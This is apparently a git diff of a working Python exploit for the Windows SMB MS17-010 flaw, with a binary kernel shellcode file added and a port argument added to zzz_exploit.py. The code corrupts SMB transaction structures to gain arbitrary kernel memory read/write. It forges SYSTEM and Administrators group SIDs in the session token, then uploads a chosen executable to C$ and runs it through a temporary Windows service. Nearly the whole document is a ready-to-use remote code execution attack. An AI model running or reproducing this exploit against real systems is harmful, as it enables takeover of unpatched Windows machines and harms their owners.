+		NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
+
+		# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
+		conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
+		wait_for_request_processed(conn)
+
+		# if the overwritten is correct, a modified transaction mid should be special_mid now.
+		# a new transaction with special_mid should be error.
+		recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
+		if recvPkt.getNTStatus() == 0x10002:  # invalid SMB
+			print('success controlling one transaction')
+			success = True
+			if 'arch' not in info:
+				print('Target is '+tinfo['ARCH'])
+				info['arch'] = tinfo['ARCH']
+				info.update(OS_ARCH_INFO[info['os']][info['arch']])
+			break
+		if recvPkt.getNTStatus() != 0:
+			print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
+	
+	if not success:
+		print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
+		print('!!! Write to wrong place !!!')
+		print('the target might be crashed')
+		return False
+
+
+	# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
+	# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
+	#   because of this unfreed memory chunk. I will avoid it.
+	
+	# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two 
+	# transactions (do not know the address).
+	# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
+	# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
+	# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
+	# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
+	# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
+	#   are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
+	#   we also modify HIDWORD of InParameter to 0xffffffff.
+	
+	print('modify parameter count to 0xffffffff to be able to write backward')
+	conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
+	# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
+	if info['arch'] == 'x64':
+		conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
+	wait_for_request_processed(conn)
+	
+	TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
+	PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
+	PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
+
+	# modify paramterCount of first transaction
+	conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
+	if info['arch'] == 'x64':
+		conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
+		# restore trans2.InParameters pointer before leaking next transaction
+		conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
+	wait_for_request_processed(conn)
+
+	# ================================
+	# leak transaction
+	# ================================
+	print('leak next transaction')
+	# modify TRANSACTION member to leak info
+	# function=5 (NT_TRANS_RENAME)
+	conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
+	# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
+	conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
+
+	conn.send_nt_trans_secondary(mid=special_mid)
+	leakData = conn.recv_transaction_data(special_mid, 0x100)
+	leakData = leakData[4:]  # remove param
+	#open('leak.dat', 'wb').write(leakData)
+
+	# check heap chunk size value in leak data
+	if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
+		print('chunk size is wrong')
+		return False
+
+	# extract leak transaction data and make next transaction to be trans2
+	leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
+	leakTrans = leakData[leakTranOffset:]
+	fmt = info['PTR_FMT']
+	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
+	inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
+	trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
+	
+	print('CONNECTION: 0x{:x}'.format(connection_addr))
+	print('SESSION: 0x{:x}'.format(session_addr))
+	print('FLINK: 0x{:x}'.format(flink_value))
+	print('InData: 0x{:x}'.format(indata_value))
+	print('MID: 0x{:x}'.format(trans2_mid))
+	
+	trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
+	trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
+	print('TRANS1: 0x{:x}'.format(trans1_addr))
+	print('TRANS2: 0x{:x}'.format(trans2_addr))
+	
+	# ================================
+	# modify trans struct to be used for arbitrary read/write
+	# ================================
+	print('modify transaction struct for arbitrary read/write')
+	# modify
+	# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
+	# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
+	# Note: HIDWORD of trans1.InParameter is still 0xffffffff
+	TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
+	conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
+	wait_for_request_processed(conn)
+	
+	# modify trans1.mid
+	trans1_mid = conn.next_mid()
+	conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
+	wait_for_request_processed(conn)
+	
+	info.update({
+		'connection': connection_addr,
+		'session': session_addr,
+		'trans1_mid': trans1_mid,
+		'trans1_addr': trans1_addr,
+		'trans2_mid': trans2_mid,
+		'trans2_addr': trans2_addr,
+	})
+	return True
+
+def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
+	SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
+	SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
+	SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
+	SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
+	# SID_SYSTEM and SID_ADMINISTRATORS must be added
+	sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
+	# - user has no attribute (0)
+	# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
+	# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
+	attrs = [ 0, 0xe, 7, 7 ]
+	
+	# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
+	# fake user and groups will be in same buffer of original one
+	# so fake sids size must NOT be bigger than the original sids
+	fakeUserAndGroupCount = min(userAndGroupCount, 4)
+	fakeUserAndGroupsAddr = userAndGroupsAddr
+	
+	addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
+	fakeUserAndGroups = ''
+	for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
+		fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
+		addr += len(sid)
+	fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
+	
+	return fakeUserAndGroupCount, fakeUserAndGroups
+
+
+def exploit(target, port, pipe_name):
+	print('Trying to connect to %s:%d' % (target, port))
+	conn = MYSMB(target, port)
+	
+	# set NODELAY to make exploit much faster
+	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+
+	info = {}
+
+	conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
+	server_os = conn.get_server_os()
+	print('Target OS: '+server_os)
+	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
+		info['os'] = 'WIN7'
+		info['method'] = exploit_matched_pairs
+	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
+		info['os'] = 'WIN8'
+		info['method'] = exploit_matched_pairs
+	elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
+		info['os'] = 'WIN7'
+		info['method'] = exploit_fish_barrel
+	elif server_os.startswith("Windows Server 2003 "):
+		info['os'] = 'WIN2K3'
+		info['method'] = exploit_fish_barrel
+	elif server_os.startswith("Windows 5.1"):
+		info['os'] = 'WINXP'
+		info['arch'] = 'x86'
+		info['method'] = exploit_fish_barrel
+	elif server_os.startswith("Windows XP "):
+		info['os'] = 'WINXP'
+		info['arch'] = 'x64'
+		info['method'] = exploit_fish_barrel
+	elif server_os.startswith("Windows 5.0"):
+		info['os'] = 'WIN2K'
+		info['arch'] = 'x86'
+		info['method'] = exploit_fish_barrel
+	else:
+		print('This exploit does not support this target')
+		sys.exit()
+	
+	if pipe_name is None:
+		pipe_name = find_named_pipe(conn)
+		if pipe_name is None:
+			print('Not found accessible named pipe')
+			return False
+		print('Using named pipe: '+pipe_name)
+
+	if not info['method'](conn, pipe_name, info):
+		return False
+
+	# Now, read_data() and write_data() can be used for arbitrary read and write.
+	# ================================
+	# Modify this SMB session to be SYSTEM
+	# ================================	
+	fmt = info['PTR_FMT']
+	
+	print('make this SMB session to be SYSTEM')
+	# IsNullSession = 0, IsAdmin = 1
+	write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
+
+	# read session struct to get SecurityContext address
+	sessionData = read_data(conn, info, info['session'], 0x100)
+	secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
+
+	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
+		# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
+		# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
+		# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
+		
+		# find the token and modify it
+		if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
+			pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
+			pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
+		else:
+			pctxtDataAddr = secCtxAddr
+
+		tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
+		tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
+		print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
+		
+		# copy Token data for restoration
+		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
+		
+		# parse necessary data out of token
+		userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
+
+		print('overwriting token UserAndGroups')
+		# modify UserAndGroups info
+		fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
+		if fakeUserAndGroupCount != userAndGroupCount:
+			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
+		write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
+	else:
+		# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
+		# copy SecurityContext for restoration
+		secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
+
+		print('overwriting session security context')
+		# see FAKE_SECCTX detail at top of the file
+		write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
+
+	# ================================
+	# do whatever we want as SYSTEM over this SMB connection
+	# ================================	
+	try:
+		send_and_execute(conn, info['arch'])
+	except:
+		pass
+
+	# restore SecurityContext/Token
+	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
+		userAndGroupsOffset = userAndGroupsAddr - tokenAddr
+		write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
+		if fakeUserAndGroupCount != userAndGroupCount:
+			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
+	else:
+		write_data(conn, info, secCtxAddr, secCtxData)
+
+	conn.disconnect_tree(conn.get_tid())
+	conn.logoff()
+	conn.get_socket().close()
+	return True
+
+def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
+	# struct _TOKEN:
+	#	...
+	#	ULONG UserAndGroupCount;                            // Ro: 4-Bytes
+	#	ULONG RestrictedSidCount;                           // Ro: 4-Bytes
+	# 	...
+	#	PSID_AND_ATTRIBUTES UserAndGroups;                  // Wr: sizeof(void*)
+	#	PSID_AND_ATTRIBUTES RestrictedSids;                 // Ro: sizeof(void*)
+	#	...
+
+	userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset) 
+	userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)
+
+	# RestrictedSidCount 	MUST be 0
+	# RestrictedSids 	MUST be NULL
+	#
+	# userandGroupCount 	must NOT be 0
+	# userandGroupsAddr 	must NOT be NULL
+	#
+	# Could also add a failure point here if userAndGroupCount >= x
+
+	success = True
+
+	if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
+		print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
+		print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
+		print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
+		success = False
+
+	print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
+	print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
+
+	return success, userAndGroupCount, userAndGroupsAddr 
+
+def get_group_data_from_token(info, tokenData):
+	userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
+	userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
+
+	# try with default offsets
+	success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
+
+	# hack to fix XP SP0 and SP1
+	# I will avoid over-engineering a more elegant solution and leave this as a hack, 
+	# since XP SP0 and SP1 is the only edge case in a LOT of testing!
+	if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
+		print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
+
+		userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
+		userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
+
+		# try with hack offsets
+		success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
+
+	# still no good. Abort because something is wrong
+	if not success:
+		print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
+		sys.exit()
+
+	# token parsed and validated
+	return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
+
+def random_generator(size=6, chars=string.ascii_uppercase + string.digits):
+	return ''.join(random.choice(chars) for x in range(size))
+
+def send_and_execute(conn, arch):
+	smbConn = conn.get_smbconnection()
+
+	filename = "%s.exe" % random_generator(6)
+	print "Sending file %s..." % filename
+
+
+    #In some cases you should change remote file location
+    #For example:
+    #smb_send_file(smbConn, lfile, 'C', '/windows/temp/%s' % filename)
+	#service_exec(conn, r'cmd /c c:\windows\temp\%s' % filename)    
+	
+	smb_send_file(smbConn, lfile, 'C', '/%s' % filename)
+	service_exec(conn, r'cmd /c c:\%s' % filename)
+
+
+def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
+	with open(localSrc, 'rb') as fp:
+		smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
+
+# based on impacket/examples/serviceinstall.py
+# Note: using Windows Service to execute command same as how psexec works
+def service_exec(conn, cmd):
+	import random
+	import string
+	from impacket.dcerpc.v5 import transport, srvs, scmr
+	
+	service_name = ''.join([random.choice(string.letters) for i in range(4)])
+
+	# Setup up a DCE SMBTransport with the connection already in place
+	rpcsvc = conn.get_dce_rpc('svcctl')
+	rpcsvc.connect()
+	rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
+	svcHandle = None
+	try:
+		print("Opening SVCManager on %s....." % conn.get_remote_host())
+		resp = scmr.hROpenSCManagerW(rpcsvc)
+		svcHandle = resp['lpScHandle']
+		
+		# First we try to open the service in case it exists. If it does, we remove it.
+		try:
+			resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
+		except Exception as e:
+			if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
+				raise e  # Unexpected error
+		else:
+			# It exists, remove it
+			scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
+			scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
+		os.path
+		print('Creating service %s.....' % service_name)
+		resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
+		serviceHandle = resp['lpServiceHandle']
+		
+		if serviceHandle:
+			# Start service
+			try:
+				print('Starting service %s.....' % service_name)
+				scmr.hRStartServiceW(rpcsvc, serviceHandle)
+				# is it really need to stop?
+				# using command line always makes starting service fail because SetServiceStatus() does not get called
+				#print('Stoping service %s.....' % service_name)
+				#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
+			except Exception as e:
+				print(str(e))
+			
+			print('Removing service %s.....' % service_name)
+			scmr.hRDeleteService(rpcsvc, serviceHandle)
+			scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
+	except Exception as e:
+		print("ServiceExec Error on: %s" % conn.get_remote_host())
+		print(str(e))
+	finally:
+		if svcHandle:
+			scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
+
+	rpcsvc.disconnect()
+
+
+if len(sys.argv) < 2:
+	print("{} <ip> <executable_file> [port] [pipe_name]".format(sys.argv[0]))
+	sys.exit(1)
+
+target = sys.argv[1]
+lfile = sys.argv[2]
+port = 445
+pipe_name = None if len(sys.argv) < 5 else sys.argv[4]
+
+try:
+	if sys.argv[3] != '':
+		port = int(sys.argv[3])
+except:
+	pass
+
+if not os.path.isfile(lfile):
+    print("File not found %s" % lfile)
+    sys.exit(1)
+
+exploit(target, port, pipe_name)
+print('Done')
+
diff --git a/shellcode/eternalblue_kshellcode_x86 b/shellcode/eternalblue_kshellcode_x86
new file mode 100644
index 0000000..d95125d
Binary files /dev/null and b/shellcode/eternalblue_kshellcode_x86 differ
diff --git a/zzz_exploit.py b/zzz_exploit.py
index f1bf4cf..78ed213 100644
--- a/zzz_exploit.py
+++ b/zzz_exploit.py
@@ -786,8 +786,8 @@ def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroup
 	return fakeUserAndGroupCount, fakeUserAndGroups
 
 
-def exploit(target, pipe_name):
-	conn = MYSMB(target)
+def exploit(target, port, pipe_name):
+	conn = MYSMB(target, port)
 	
 	# set NODELAY to make exploit much faster
 	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
@@ -1048,12 +1048,19 @@ def service_exec(conn, cmd):
 
 
 if len(sys.argv) < 2:
-	print("{} <ip> [pipe_name]".format(sys.argv[0]))
+	print("{} <ip> [port] [pipe_name]".format(sys.argv[0]))
 	sys.exit(1)
 
 target = sys.argv[1]
-pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
+pipe_name = None if len(sys.argv) < 4 else sys.argv[3]
+port = 445
 
-exploit(target, pipe_name)
+try:
+	if sys.argv[2] != '':
+		port = int(sys.argv[2])
+except:
+	pass
+
+exploit(target, port, pipe_name)
 print('Done')